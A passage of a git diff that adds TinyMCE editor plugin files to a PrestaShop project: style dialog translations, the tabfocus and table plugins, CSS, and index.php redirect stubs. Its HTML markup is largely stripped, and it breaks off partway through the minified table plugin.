d\u00e1ng","text_weight":"Tr\u1ecdng l\u01b0\u1ee3ng","text_size":"K\u00edch c\u1ee1","text_font":"Ph\u00f4ng","text_props":"V\u0103n b\u1ea3n","positioning_tab":"V\u1ecb tr\u00ed","list_tab":"Danh s\u00e1ch","border_tab":"Vi\u1ec1n","box_tab":"H\u1ed9p","block_tab":"Kh\u1ed1i","background_tab":"N\u1ec1n","text_tab":"V\u0103n b\u1ea3n",apply:"\u00c1p d\u1ee5ng",title:"S\u1eeda ki\u1ec3u d\u00e1ng CSS",clip:"Ghim",placement:"S\u1eafp \u0111\u1eb7t",overflow:"Tr\u00e0n",zindex:"Ch\u1ec9 m\u1ee5c Z",visibility:"Nh\u00ecn th\u1ea5y","positioning_type":"Ki\u1ec3u",position:"V\u1ecb tr\u00ed","bullet_image":"\u1ea2nh Bullet","list_type":"Ki\u1ec3u",color:"M\u00e0u",height:"Chi\u1ec1u cao",width:"Chi\u1ec1u r\u1ed9ng",style:"Ki\u1ec3u",margin:"Bi\u00ean",left:"Tr\u00e1i",bottom:"D\u01b0\u1edbi",right:"Ph\u1ea3i",top:"Tr\u00ean",same:"\u00c1p d\u1ee5ng cho t\u1ea5t c\u1ea3",padding:"\u0110\u1ec7m l\u00f3t","box_clear":"L\u00e0m s\u1ea1ch","box_float":"N\u1ed5i","box_height":"Chi\u1ec1u cao","box_width":"Chi\u1ec1u r\u1ed9ng","block_display":"Hi\u1ec3n th\u1ecb","block_whitespace":"Kho\u1ea3ng tr\u1eafng","block_text_indent":"Th\u1ee5t d\u00f2ng v\u0103n b\u1ea3n","block_text_align":"Canh l\u1ec1 v\u0103n b\u1ea3n","block_vertical_alignment":"Canh l\u1ec1 d\u1ecdc","block_letterspacing":"Kho\u1ea3ng c\u00e1c k\u00fd t\u1ef1","block_wordspacing":"Kho\u1ea3ng c\u00e1c t\u1eeb","background_vpos":"V\u1ecb tr\u00ed d\u1ecdc","background_hpos":"V\u1ecb tr\u00ed ngang","background_attachment":"\u0110\u00ednh k\u00e8m","background_repeat":"L\u1eb7p l\u1ea1i","background_image":"\u1ea2nh n\u1ec1n","background_color":"M\u00e0u n\u1ec1n","text_none":"kh\u00f4ng","text_blink":"nh\u1ea5p nh\u00e1y","text_case":"Bo\u0323c","text_striketrough":"g\u1ea1ch xuy\u00ean","text_underline":"g\u1ea1ch d\u01b0\u1edbi","text_overline":"g\u1ea1ch tr\u00ean","text_decoration":"Trang tr\u00ed","text_color":"M\u00e0u",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/style/langs/zh-cn_dlg.js new file mode 100755 index 0000000..c5fc08b --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.style_dlg',{"text_lineheight":"\u884c\u9ad8","text_variant":"\u53d8\u5f62","text_style":"\u6837\u5f0f","text_weight":"\u7c97\u7ec6","text_size":"\u5927\u5c0f","text_font":"\u5b57\u4f53","text_props":"\u6587\u672c","positioning_tab":"\u4f4d\u7f6e","list_tab":"\u5217\u8868","border_tab":"\u8fb9\u6846","box_tab":"Box","block_tab":"\u533a\u5757","background_tab":"\u80cc\u666f","text_tab":"\u6587\u672c",apply:"\u5e94\u7528",title:"\u7f16\u8f91CSS\u6837\u5f0f",clip:"\u526a\u8f91",placement:"\u653e\u7f6e",overflow:"\u6ea2\u51fa",zindex:"Z-Index",visibility:"\u53ef\u89c1","positioning_type":"\u7c7b\u578b",position:"\u4f4d\u7f6e","bullet_image":"\u56fe\u7247\u9879\u76ee\u7b26\u53f7","list_type":"\u7c7b\u578b",color:"\u989c\u8272",height:"\u9ad8\u5ea6",width:"\u5bbd\u5ea6",style:"\u6837\u5f0f",margin:"\u5916\u8fb9\u8ddd",left:"\u5de6",bottom:"\u4e0b",right:"\u53f3",top:"\u4e0a",same:"\u5168\u90e8\u76f8\u540c",padding:"\u5185\u8fb9\u8ddd","box_clear":"\u6e05\u9664\u6d6e\u52a8","box_float":"\u6d6e\u52a8","box_height":"\u9ad8\u5ea6","box_width":"\u5bbd\u5ea6","block_display":"\u663e\u793a","block_whitespace":"\u7a7a\u683c","block_text_indent":"\u6587\u5b57\u7f29\u6392","block_text_align":"\u6587\u5b57\u5bf9\u9f50","block_vertical_alignment":"\u5782\u76f4\u5bf9\u9f50","block_letterspacing":"\u5b57\u95f4\u8ddd","block_wordspacing":"\u8bcd\u95f4\u8ddd","background_vpos":"\u5782\u76f4\u4f4d\u7f6e","background_hpos":"\u6c34\u5e73\u4f4d\u7f6e","background_attachment":"\u9644\u4ef6","background_repeat":"\u91cd\u590d","background_image":"\u80cc\u666f\u56fe\u7247","background_color":"\u80cc\u666f\u989c\u8272","text_none":"\u65e0","text_blink":"\u95ea\u70c1","text_case":"\u5b57\u4f53\u5f62\u5f0f","text_striketrough":"\u5220\u9664\u7ebf","text_underline":"\u4e0b\u5212\u7ebf","text_overline":"\u4e0a\u5212\u7ebf","text_decoration":"\u5b57\u4f53\u88c5\u9970","text_color":"\u989c\u8272",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/style/langs/zh-tw_dlg.js new file mode 100755 index 0000000..22774eb --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.style_dlg',{"text_lineheight":"\u6587\u5b57\u884c\u9ad8","text_variant":"\u7279\u6b8a\u5b57\u9ad4","text_style":"\u6a23\u5f0f","text_weight":"\u5b57\u9ad4\u7c97\u7d30","text_size":"\u5b57\u9ad4\u5927\u5c0f","text_font":"\u5b57\u9ad4","text_props":"\u5b57\u578b","positioning_tab":"\u4f4d\u7f6e","list_tab":"\u5217\u8868","border_tab":"\u908a\u6846","box_tab":"\u65b9\u584a","block_tab":"\u5340\u584a","background_tab":"\u80cc\u666f","text_tab":"\u5b57\u578b",apply:"\u5957\u7528",title:"\u7de8\u8f2f CSS \u6a23\u5f0f",clip:"\u526a\u8f2f",placement:"\u653e\u7f6e",overflow:"\u5377\u8ef8\u8a2d\u5b9a (Overflow)",zindex:"Z \u8ef8",visibility:"\u80fd\u898b\u5ea6","positioning_type":"\u5f62\u5f0f",position:"\u4f4d\u7f6e","bullet_image":"\u9805\u76ee\u7b26\u865f (\u6709\u5716\u7247)","list_type":"\u5f62\u5f0f",color:"\u984f\u8272",height:"\u9ad8\u5ea6",width:"\u5bec\u5ea6",style:"\u6a23\u5f0f",margin:"\u908a\u8ddd",left:"\u5de6\u908a",bottom:"\u4e0b\u65b9",right:"\u53f3\u908a",top:"\u4e0a\u65b9",same:"\u5168\u90e8\u4e00\u6a23",padding:"\u5167\u8ddd","box_clear":"\u79fb\u9664\u6d6e\u52d5\u6548\u679c","box_float":"\u6d6e\u52d5\u6548\u679c","box_height":"\u9ad8\u5ea6","box_width":"\u9ad8\u5ea6","block_display":"\u986f\u793a","block_whitespace":"\u7a7a\u683c","block_text_indent":"\u6587\u5b57\u7e2e\u6392","block_text_align":"\u6587\u5b57\u5c0d\u9f4a","block_vertical_alignment":"\u5782\u76f4\u5c0d\u9f4a","block_letterspacing":"\u6587\u5b57\u9593\u9694","block_wordspacing":"\u5b57\u8a5e\u9593\u9694","background_vpos":"\u5782\u76f4","background_hpos":"\u6c34\u5e73","background_attachment":"\u9644\u4ef6","background_repeat":"\u91cd\u8907","background_image":"\u80cc\u666f\u5716\u7247","background_color":"\u80cc\u666f\u984f\u8272","text_none":"\u7121","text_blink":"\u9583\u720d\u6548\u679c","text_case":"\u5b57\u9ad4\u6a23\u5f0f","text_striketrough":"\u522a\u9664\u7dda","text_underline":"\u5e95\u7dda","text_overline":"\u4e00\u689d\u7dda\u5728\u4e0a\u9762","text_decoration":"\u7dda\u689d\u6a23\u5f0f","text_color":"\u984f\u8272",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/props.htm b/js/tiny_mce2/plugins/style/props.htm new file mode 100755 index 0000000..44e188c --- /dev/null +++ b/js/tiny_mce2/plugins/style/props.htm @@ -0,0 +1,840 @@ + + + + {#style_dlg.title} + + + + + + + + + + +
    + + +
    +
    +
    + {#style_dlg.text} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + +
      + + +
    +
    + +
    + + + +
    + + + + + + +
    + +   + + +
    +
    + +
    + + + + + +
     
    +
    {#style_dlg.text_decoration} + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    + +
    +
    + {#style_dlg.background} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
     
    +
    + + + + +
     
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    +
    +
    + +
    +
    + {#style_dlg.block} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + + +
    +
    +
    +
    + +
    +
    + {#style_dlg.box} + + + + + + + + + + + + + + +
    + + + + + + +
      + + +
    +
       
    + + + + + + +
      + + +
    +
       
    +
    + +
    +
    + {#style_dlg.padding} + + + + + + + + + + + + + + + + + + + + + + +
     
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    +
    +
    + +
    +
    + {#style_dlg.margin} + + + + + + + + + + + + + + + + + + + + + + +
     
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    +
    +
    +
    +
    + +
    +
    + {#style_dlg.border} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      {#style_dlg.style} {#style_dlg.width} {#style_dlg.color}
          
    {#style_dlg.top}   + + + + + + +
      + + +
    +
      + + + + + +
     
    +
    {#style_dlg.right}   + + + + + + +
      + + +
    +
      + + + + + +
     
    +
    {#style_dlg.bottom}   + + + + + + +
      + + +
    +
      + + + + + +
     
    +
    {#style_dlg.left}   + + + + + + +
      + + +
    +
      + + + + + +
     
    +
    +
    +
    + +
    +
    + {#style_dlg.list} + + + + + + + + + + + + + + + +
    +
    +
    + +
    +
    + {#style_dlg.position} + + + + + + + + + + + + + + + + + + + + + +
       
    + + + + + + +
      + + +
    +
       
    + + + + + + +
      + + +
    +
       
    +
    + +
    +
    + {#style_dlg.placement} + + + + + + + + + + + + + + + + + + + + + + +
     
    {#style_dlg.top} + + + + + + +
      + + +
    +
    {#style_dlg.right} + + + + + + +
      + + +
    +
    {#style_dlg.bottom} + + + + + + +
      + + +
    +
    {#style_dlg.left} + + + + + + +
      + + +
    +
    +
    +
    + +
    +
    + {#style_dlg.clip} + + + + + + + + + + + + + + + + + + + + + + +
     
    {#style_dlg.top} + + + + + + +
      + + +
    +
    {#style_dlg.right} + + + + + + +
      + + +
    +
    {#style_dlg.bottom} + + + + + + +
      + + +
    +
    {#style_dlg.left} + + + + + + +
      + + +
    +
    +
    +
    +
    +
    +
    + +
    + + + +
    +
    + +
    +
    +
    + + + diff --git a/js/tiny_mce2/plugins/tabfocus/editor_plugin.js b/js/tiny_mce2/plugins/tabfocus/editor_plugin.js new file mode 100755 index 0000000..42a82d1 --- /dev/null +++ b/js/tiny_mce2/plugins/tabfocus/editor_plugin.js @@ -0,0 +1 @@ +(function(){var c=tinymce.DOM,a=tinymce.dom.Event,d=tinymce.each,b=tinymce.explode;tinymce.create("tinymce.plugins.TabFocusPlugin",{init:function(f,g){function e(i,j){if(j.keyCode===9){return a.cancel(j)}}function h(l,p){var j,m,o,n,k;function q(t){n=c.select(":input:enabled,*[tabindex]");function s(v){return v.nodeName==="BODY"||(v.type!="hidden"&&!(v.style.display=="none")&&!(v.style.visibility=="hidden")&&s(v.parentNode))}function i(v){return v.attributes.tabIndex.specified||v.nodeName=="INPUT"||v.nodeName=="TEXTAREA"}function u(){return tinymce.isIE6||tinymce.isIE7}function r(v){return((!u()||i(v)))&&v.getAttribute("tabindex")!="-1"&&s(v)}d(n,function(w,v){if(w.id==l.id){j=v;return false}});if(t>0){for(m=j+1;m=0;m--){if(r(n[m])){return n[m]}}}return null}if(p.keyCode===9){k=b(l.getParam("tab_focus",l.getParam("tabfocus_elements",":prev,:next")));if(k.length==1){k[1]=k[0];k[0]=":prev"}if(p.shiftKey){if(k[0]==":prev"){n=q(-1)}else{n=c.get(k[0])}}else{if(k[1]==":next"){n=q(1)}else{n=c.get(k[1])}}if(n){if(n.id&&(l=tinymce.get(n.id||n.name))){l.focus()}else{window.setTimeout(function(){if(!tinymce.isWebKit){window.focus()}n.focus()},10)}return a.cancel(p)}}}f.onKeyUp.add(e);if(tinymce.isGecko){f.onKeyPress.add(h);f.onKeyDown.add(e)}else{f.onKeyDown.add(h)}},getInfo:function(){return{longname:"Tabfocus",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("tabfocus",tinymce.plugins.TabFocusPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/tabfocus/editor_plugin_src.js b/js/tiny_mce2/plugins/tabfocus/editor_plugin_src.js new file mode 100755 index 0000000..a1579c8 --- /dev/null +++ b/js/tiny_mce2/plugins/tabfocus/editor_plugin_src.js @@ -0,0 +1,122 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each, explode = tinymce.explode; + + tinymce.create('tinymce.plugins.TabFocusPlugin', { + init : function(ed, url) { + function tabCancel(ed, e) { + if (e.keyCode === 9) + return Event.cancel(e); + } + + function tabHandler(ed, e) { + var x, i, f, el, v; + + function find(d) { + el = DOM.select(':input:enabled,*[tabindex]'); + + function canSelectRecursive(e) { + return e.nodeName==="BODY" || (e.type != 'hidden' && + !(e.style.display == "none") && + !(e.style.visibility == "hidden") && canSelectRecursive(e.parentNode)); + } + function canSelectInOldIe(el) { + return el.attributes["tabIndex"].specified || el.nodeName == "INPUT" || el.nodeName == "TEXTAREA"; + } + function isOldIe() { + return tinymce.isIE6 || tinymce.isIE7; + } + function canSelect(el) { + return ((!isOldIe() || canSelectInOldIe(el))) && el.getAttribute("tabindex") != '-1' && canSelectRecursive(el); + } + + each(el, function(e, i) { + if (e.id == ed.id) { + x = i; + return false; + } + }); + if (d > 0) { + for (i = x + 1; i < el.length; i++) { + if (canSelect(el[i])) + return el[i]; + } + } else { + for (i = x - 1; i >= 0; i--) { + if (canSelect(el[i])) + return el[i]; + } + } + + return null; + } + + if (e.keyCode === 9) { + v = explode(ed.getParam('tab_focus', ed.getParam('tabfocus_elements', ':prev,:next'))); + + if (v.length == 1) { + v[1] = v[0]; + v[0] = ':prev'; + } + + // Find element to focus + if (e.shiftKey) { + if (v[0] == ':prev') + el = find(-1); + else + el = DOM.get(v[0]); + } else { + if (v[1] == ':next') + el = find(1); + else + el = DOM.get(v[1]); + } + + if (el) { + if (el.id && (ed = tinymce.get(el.id || el.name))) + ed.focus(); + else + window.setTimeout(function() { + if (!tinymce.isWebKit) + window.focus(); + el.focus(); + }, 10); + + return Event.cancel(e); + } + } + } + + ed.onKeyUp.add(tabCancel); + + if (tinymce.isGecko) { + ed.onKeyPress.add(tabHandler); + ed.onKeyDown.add(tabCancel); + } else + ed.onKeyDown.add(tabHandler); + + }, + + getInfo : function() { + return { + longname : 'Tabfocus', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('tabfocus', tinymce.plugins.TabFocusPlugin); +})(); diff --git a/js/tiny_mce2/plugins/tabfocus/index.php b/js/tiny_mce2/plugins/tabfocus/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/tabfocus/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/table/cell.htm b/js/tiny_mce2/plugins/table/cell.htm new file mode 100755 index 0000000..2922f7a --- /dev/null +++ b/js/tiny_mce2/plugins/table/cell.htm @@ -0,0 +1,180 @@ + + + + {#table_dlg.cell_title} + + + + + + + + + +
    + + +
    +
    +
    + {#table_dlg.general_props} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + +
    + + + +
    + +
    +
    +
    + +
    +
    + {#table_dlg.advanced_props} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +
    + + + + + +
     
    +
    + + + + + +
     
    +
    + + + + + +
     
    +
    +
    +
    +
    + +
    +
    + +
    + + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/table/css/cell.css b/js/tiny_mce2/plugins/table/css/cell.css new file mode 100755 index 0000000..a47cc1a --- /dev/null +++ b/js/tiny_mce2/plugins/table/css/cell.css @@ -0,0 +1,17 @@ +/* CSS file for cell dialog in the table plugin */ + +.panel_wrapper div.current { + height: 200px; +} + +.advfield { + width: 200px; +} + +#action { + margin-bottom: 3px; +} + +#class { + width: 150px; +} \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/css/index.php b/js/tiny_mce2/plugins/table/css/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/table/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/css/row.css b/js/tiny_mce2/plugins/table/css/row.css new file mode 100755 index 0000000..0e397db --- /dev/null +++ b/js/tiny_mce2/plugins/table/css/row.css @@ -0,0 +1,25 @@ +/* CSS file for row dialog in the table plugin */ + +.panel_wrapper div.current { + height: 200px; +} + +.advfield { + width: 200px; +} + +#action { + margin-bottom: 3px; +} + +#rowtype,#align,#valign,#class,#height { + width: 150px; +} + +#height { + width: 50px; +} + +.col2 { + padding-left: 20px; +} diff --git a/js/tiny_mce2/plugins/table/css/table.css b/js/tiny_mce2/plugins/table/css/table.css new file mode 100755 index 0000000..8f10783 --- /dev/null +++ b/js/tiny_mce2/plugins/table/css/table.css @@ -0,0 +1,13 @@ +/* CSS file for table dialog in the table plugin */ + +.panel_wrapper div.current { + height: 245px; +} + +.advfield { + width: 200px; +} + +#class { + width: 150px; +} diff --git a/js/tiny_mce2/plugins/table/editor_plugin.js b/js/tiny_mce2/plugins/table/editor_plugin.js new file mode 100755 index 0000000..9acc09b --- /dev/null +++ b/js/tiny_mce2/plugins/table/editor_plugin.js @@ -0,0 +1 @@ +(function(d){var e=d.each;function c(g,h){var j=h.ownerDocument,f=j.createRange(),k;f.setStartBefore(h);f.setEnd(g.endContainer,g.endOffset);k=j.createElement("body");k.appendChild(f.cloneContents());return k.innerHTML.replace(/<(br|img|object|embed|input|textarea)[^>]*>/gi,"-").replace(/<[^>]+>/g,"").length==0}function a(g,f){return parseInt(g.getAttribute(f)||1)}function b(H,G,K){var g,L,D,o;t();o=G.getParent(K.getStart(),"th,td");if(o){L=F(o);D=I();o=z(L.x,L.y)}function A(N,M){N=N.cloneNode(M);N.removeAttribute("id");return N}function t(){var M=0;g=[];e(["thead","tbody","tfoot"],function(N){var O=G.select("> "+N+" tr",H);e(O,function(P,Q){Q+=M;e(G.select("> td, > th",P),function(W,R){var S,T,U,V;if(g[Q]){while(g[Q][R]){R++}}U=a(W,"rowspan");V=a(W,"colspan");for(T=Q;T'}return false}},"childNodes");M=A(M,false);s(M,"rowSpan",1);s(M,"colSpan",1);if(N){M.appendChild(N)}else{if(!d.isIE){M.innerHTML='
    '}}return M}function q(){var M=G.createRng();e(G.select("tr",H),function(N){if(N.cells.length==0){G.remove(N)}});if(G.select("tr",H).length==0){M.setStartAfter(H);M.setEndAfter(H);K.setRng(M);G.remove(H);return}e(G.select("thead,tbody,tfoot",H),function(N){if(N.rows.length==0){G.remove(N)}});t();row=g[Math.min(g.length-1,L.y)];if(row){K.select(row[Math.min(row.length-1,L.x)].elm,true);K.collapse(true)}}function u(S,Q,U,R){var P,N,M,O,T;P=g[Q][S].elm.parentNode;for(M=1;M<=U;M++){P=G.getNext(P,"tr");if(P){for(N=S;N>=0;N--){T=g[Q+M][N].elm;if(T.parentNode==P){for(O=1;O<=R;O++){G.insertAfter(f(T),T)}break}}if(N==-1){for(O=1;O<=R;O++){P.insertBefore(f(P.cells[0]),P.cells[0])}}}}}function C(){e(g,function(M,N){e(M,function(P,O){var S,R,T,Q;if(j(P)){P=P.elm;S=a(P,"colspan");R=a(P,"rowspan");if(S>1||R>1){s(P,"rowSpan",1);s(P,"colSpan",1);for(Q=0;Q1){s(S,"rowSpan",O+1);continue}}else{if(M>0&&g[M-1][R]){V=g[M-1][R].elm;O=a(V,"rowSpan");if(O>1){s(V,"rowSpan",O+1);continue}}}N=f(S);s(N,"colSpan",S.colSpan);U.appendChild(N);P=S}}if(U.hasChildNodes()){if(!Q){G.insertAfter(U,T)}else{T.parentNode.insertBefore(U,T)}}}function h(N){var O,M;e(g,function(P,Q){e(P,function(S,R){if(j(S)){O=R;if(N){return false}}});if(N){return !O}});e(g,function(S,T){var P,Q,R;if(!S[O]){return}P=S[O].elm;if(P!=M){R=a(P,"colspan");Q=a(P,"rowspan");if(R==1){if(!N){G.insertAfter(f(P),P);u(O,T,Q-1,R)}else{P.parentNode.insertBefore(f(P),P);u(O,T,Q-1,R)}}else{s(P,"colSpan",P.colSpan+1)}M=P}})}function n(){var M=[];e(g,function(N,O){e(N,function(Q,P){if(j(Q)&&d.inArray(M,P)===-1){e(g,function(T){var R=T[P].elm,S;S=a(R,"colSpan");if(S>1){s(R,"colSpan",S-1)}else{G.remove(R)}});M.push(P)}})});q()}function m(){var N;function M(Q){var P,R,O;P=G.getNext(Q,"tr");e(Q.cells,function(S){var T=a(S,"rowSpan");if(T>1){s(S,"rowSpan",T-1);R=F(S);u(R.x,R.y,1,1)}});R=F(Q.cells[0]);e(g[R.y],function(S){var T;S=S.elm;if(S!=O){T=a(S,"rowSpan");if(T<=1){G.remove(S)}else{s(S,"rowSpan",T-1)}O=S}})}N=k();e(N.reverse(),function(O){M(O)});q()}function E(){var M=k();G.remove(M);q();return M}function J(){var M=k();e(M,function(O,N){M[N]=A(O,true)});return M}function B(O,N){var P=k(),M=P[N?0:P.length-1],Q=M.cells.length;e(g,function(S){var R;Q=0;e(S,function(U,T){if(U.real){Q+=U.colspan}if(U.elm.parentNode==M){R=1}});if(R){return false}});if(!N){O.reverse()}e(O,function(T){var S=T.cells.length,R;for(i=0;iN){N=R}if(Q>M){M=Q}if(S.real){U=S.colspan-1;T=S.rowspan-1;if(U){if(R+U>N){N=R+U}}if(T){if(Q+T>M){M=Q+T}}}}})});return{x:N,y:M}}function v(S){var P,O,U,T,N,M,Q,R;D=F(S);if(L&&D){P=Math.min(L.x,D.x);O=Math.min(L.y,D.y);U=Math.max(L.x,D.x);T=Math.max(L.y,D.y);N=U;M=T;for(y=O;y<=M;y++){S=g[y][P];if(!S.real){if(P-(S.colspan-1)N){N=x+Q}}if(R){if(y+R>M){M=y+R}}}}}G.removeClass(G.select("td.mceSelected,th.mceSelected"),"mceSelected");for(y=O;y<=M;y++){for(x=P;x<=N;x++){if(g[y][x]){G.addClass(g[y][x].elm,"mceSelected")}}}}}d.extend(this,{deleteTable:r,split:C,merge:p,insertRow:l,insertCol:h,deleteCols:n,deleteRows:m,cutRows:E,copyRows:J,pasteRows:B,getPos:F,setStartCell:w,setEndCell:v})}d.create("tinymce.plugins.TablePlugin",{init:function(g,h){var f,m,j=true;function l(p){var o=g.selection,n=g.dom.getParent(p||o.getNode(),"table");if(n){return new b(n,g.dom,o)}}function k(){g.getBody().style.webkitUserSelect="";if(j){g.dom.removeClass(g.dom.select("td.mceSelected,th.mceSelected"),"mceSelected");j=false}}e([["table","table.desc","mceInsertTable",true],["delete_table","table.del","mceTableDelete"],["delete_col","table.delete_col_desc","mceTableDeleteCol"],["delete_row","table.delete_row_desc","mceTableDeleteRow"],["col_after","table.col_after_desc","mceTableInsertColAfter"],["col_before","table.col_before_desc","mceTableInsertColBefore"],["row_after","table.row_after_desc","mceTableInsertRowAfter"],["row_before","table.row_before_desc","mceTableInsertRowBefore"],["row_props","table.row_desc","mceTableRowProps",true],["cell_props","table.cell_desc","mceTableCellProps",true],["split_cells","table.split_cells_desc","mceTableSplitCells",true],["merge_cells","table.merge_cells_desc","mceTableMergeCells",true]],function(n){g.addButton(n[0],{title:n[1],cmd:n[2],ui:n[3]})});if(!d.isIE){g.onClick.add(function(n,o){o=o.target;if(o.nodeName==="TABLE"){n.selection.select(o);n.nodeChanged()}})}g.onPreProcess.add(function(o,p){var n,q,r,t=o.dom,s;n=t.select("table",p.node);q=n.length;while(q--){r=n[q];t.setAttrib(r,"data-mce-style","");if((s=t.getAttrib(r,"width"))){t.setStyle(r,"width",s);t.setAttrib(r,"width","")}if((s=t.getAttrib(r,"height"))){t.setStyle(r,"height",s);t.setAttrib(r,"height","")}}});g.onNodeChange.add(function(q,o,s){var r;s=q.selection.getStart();r=q.dom.getParent(s,"td,th,caption");o.setActive("table",s.nodeName==="TABLE"||!!r);if(r&&r.nodeName==="CAPTION"){r=0}o.setDisabled("delete_table",!r);o.setDisabled("delete_col",!r);o.setDisabled("delete_table",!r);o.setDisabled("delete_row",!r);o.setDisabled("col_after",!r);o.setDisabled("col_before",!r);o.setDisabled("row_after",!r);o.setDisabled("row_before",!r);o.setDisabled("row_props",!r);o.setDisabled("cell_props",!r);o.setDisabled("split_cells",!r);o.setDisabled("merge_cells",!r)});g.onInit.add(function(r){var p,t,q=r.dom,u;f=r.windowManager;r.onMouseDown.add(function(w,z){if(z.button!=2){k();t=q.getParent(z.target,"td,th");p=q.getParent(t,"table")}});q.bind(r.getDoc(),"mouseover",function(C){var A,z,B=C.target;if(t&&(u||B!=t)&&(B.nodeName=="TD"||B.nodeName=="TH")){z=q.getParent(B,"table");if(z==p){if(!u){u=l(z);u.setStartCell(t);r.getBody().style.webkitUserSelect="none"}u.setEndCell(B);j=true}A=r.selection.getSel();try{if(A.removeAllRanges){A.removeAllRanges()}else{A.empty()}}catch(w){}C.preventDefault()}});r.onMouseUp.add(function(F,G){var z,B=F.selection,H,I=B.getSel(),w,C,A,E;if(t){if(u){F.getBody().style.webkitUserSelect=""}function D(J,L){var K=new d.dom.TreeWalker(J,J);do{if(J.nodeType==3&&d.trim(J.nodeValue).length!=0){if(L){z.setStart(J,0)}else{z.setEnd(J,J.nodeValue.length)}return}if(J.nodeName=="BR"){if(L){z.setStartBefore(J)}else{z.setEndBefore(J)}return}}while(J=(L?K.next():K.prev()))}H=q.select("td.mceSelected,th.mceSelected");if(H.length>0){z=q.createRng();C=H[0];E=H[H.length-1];z.setStartBefore(C);z.setEndAfter(C);D(C,1);w=new d.dom.TreeWalker(C,q.getParent(H[0],"table"));do{if(C.nodeName=="TD"||C.nodeName=="TH"){if(!q.hasClass(C,"mceSelected")){break}A=C}}while(C=w.next());D(A);B.setRng(z)}F.nodeChanged();t=u=p=null}});r.onKeyUp.add(function(w,z){k()});r.onKeyDown.add(function(w,z){n(w)});r.onMouseDown.add(function(w,z){if(z.button!=2){n(w)}});function o(D,z,A,F){var B=3,G=D.dom.getParent(z.startContainer,"TABLE"),C,w,E;if(G){C=G.parentNode}w=z.startContainer.nodeType==B&&z.startOffset==0&&z.endOffset==0&&F&&(A.nodeName=="TR"||A==C);E=(A.nodeName=="TD"||A.nodeName=="TH")&&!F;return w||E}function n(A){if(!d.isWebKit){return}var z=A.selection.getRng();var C=A.selection.getNode();var B=A.dom.getParent(z.startContainer,"TD,TH");if(!o(A,z,C,B)){return}if(!B){B=C}var w=B.lastChild;while(w.lastChild){w=w.lastChild}z.setEnd(w,w.nodeValue.length);A.selection.setRng(z)}r.plugins.table.fixTableCellSelection=n;if(r&&r.plugins.contextmenu){r.plugins.contextmenu.onContextMenu.add(function(A,w,C){var 